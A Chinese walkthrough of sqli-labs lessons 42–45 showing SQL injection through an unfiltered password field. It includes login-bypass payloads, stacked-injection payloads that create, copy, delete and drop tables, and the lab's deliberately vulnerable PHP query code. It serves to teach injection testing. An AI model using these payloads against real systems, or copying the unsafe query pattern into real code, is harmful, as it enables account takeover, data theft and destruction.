Less 42 ~ 45 是使用 POST 提交参数的登录界面,username 字段进行了参数过滤,但是 password 字段没有。此处可以在 password 字段使用万能密码直接夺取用户,也可以在该字段处使用堆叠注入。
Less 42
判断注入类型
打开网页看到登录页面,该页面和 Less 24 的二次注入的页面相似。在用户名使用万能密码测试,全部都登录失败。
1 OR 1 = 1#
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
在密码字段使用万能密码测试,使用单引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。
a' OR 1 = 1#
堆叠注入
可以在已知某个用户的用户名的条件下使用万能密码夺取用户,也可以使用二次注入进行攻击。由于密码参数没有进行防御,可以在该字段测试堆叠注入。使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。
a' OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
a' OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
a' OR 1 = 1;DELETE FROM WhiteMoon;#
a' OR 1 = 1;DROP TABLE WhiteMoon;#
SQL 查询语句
username 字段使用 mysqli_real_escape_string() 函数进行转义,而 password 字段没有任何防御措施。
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
Less 43
判断注入类型
在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。
a' OR 1 = 1#
a') OR 1 = 1#
堆叠注入
使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。
a') OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
a') OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
a') OR 1 = 1;DELETE FROM WhiteMoon;#
a') OR 1 = 1;DROP TABLE WhiteMoon;#
SQL 查询语句
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
Less 44
判断注入类型
在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。
a' OR 1 = 1#
堆叠注入
和 Less 42 完全一样,使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。
a' OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
a' OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
a' OR 1 = 1;DELETE FROM WhiteMoon;#
a' OR 1 = 1;DROP TABLE WhiteMoon;#
SQL 查询语句
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
}
/* execute multi query */
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}
}
}
Less 45
判断注入类型
在用户名使用万能密码测试,全部都登录失败。在密码字段使用万能密码测试,使用单引号和引号闭合时登录成功。说明用户名参数注入时存在过滤,密码字段存在单引号闭合的字符型注入。
a' OR 1 = 1#
a') OR 1 = 1#
堆叠注入
和 Less 43 完全一样,使用 Less 38 的测试流程,每次登陆时完成一步堆叠注入。
a') OR 1 = 1;CREATE TABLE WhiteMoon LIKE users;#
a') OR 1 = 1;INSERT INTO WhiteMoon SELECT * FROM users;#
a') OR 1 = 1;DELETE FROM WhiteMoon;#
a') OR 1 = 1;DROP TABLE WhiteMoon;#
SQL 查询语句
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";